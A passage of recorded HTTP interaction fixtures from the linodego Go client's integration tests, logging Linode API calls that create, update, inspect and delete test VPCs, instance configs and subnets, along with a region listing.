- DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-g4928lx1kos1","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52001045/configs method: POST response: body: '{"id": 54998353, "label": "go-test-conf-g4928lx1kos1", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1700036166403282000","region":"es-mad","subnets":[{"label":"linodego-vpc-test-1700036166403410000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 10251, "label": "go-test-vpc-1700036166403282000", "description": "", "region": "es-mad", "subnets": [{"id": 11095, "label": "linodego-vpc-test-1700036166403410000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-g4928lx1kos1","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":true,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":11095,"ipv4":{"nat_1_1":"any"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52001045/configs/54998353 method: PUT response: body: '{"id": 54998353, "label": "go-test-conf-g4928lx1kos1", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 830880, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": {"vpc": "", "nat_1_1": ""}, "ipv6": {"vpc": ""}, "ip_ranges": []}, {"id": 830881, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": {"vpc": "", "nat_1_1": ""}, "ipv6": {"vpc": ""}, "ip_ranges": []}, {"id": 830882, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 10251, "subnet_id": 11095, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "172.233.111.201"}, "ipv6": {"vpc": ""}, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10251/subnets/11095 method: GET response: body: '{"id": 11095, "label": "linodego-vpc-test-1700036166403410000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [{"id": 52001045, "interfaces": [{"id": 830882, "active": false}]}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "251" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52001045/ips method: GET response: body: '{"ipv4": {"public": [{"address": "172.233.111.201", "gateway": "172.233.111.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-233-111-201.ip.linodeusercontent.com", "linode_id": 52001045, "region": "es-mad", "vpc_nat_1_1": {"vpc_id": 10251, "subnet_id": 11095, "address": "192.168.0.2"}}], "private": [], "shared": [], "reserved": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 52001045, "region": "es-mad", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 52001045, "region": "es-mad", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "847" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52001045 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10251 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVPC_Update.yaml000066400000000000000000000475771455402072200302550ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1700036169472499000","region":"es-mad"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 10253, "label": "go-test-vpc-1700036169472499000", "description": "", "region": "es-mad", "subnets": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "179" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"updated-label","description":"updated description"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10253 method: PUT response: body: '{"id": 10253, "label": "updated-label", "description": "updated description", "region": "es-mad", "subnets": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "180" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10253 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - 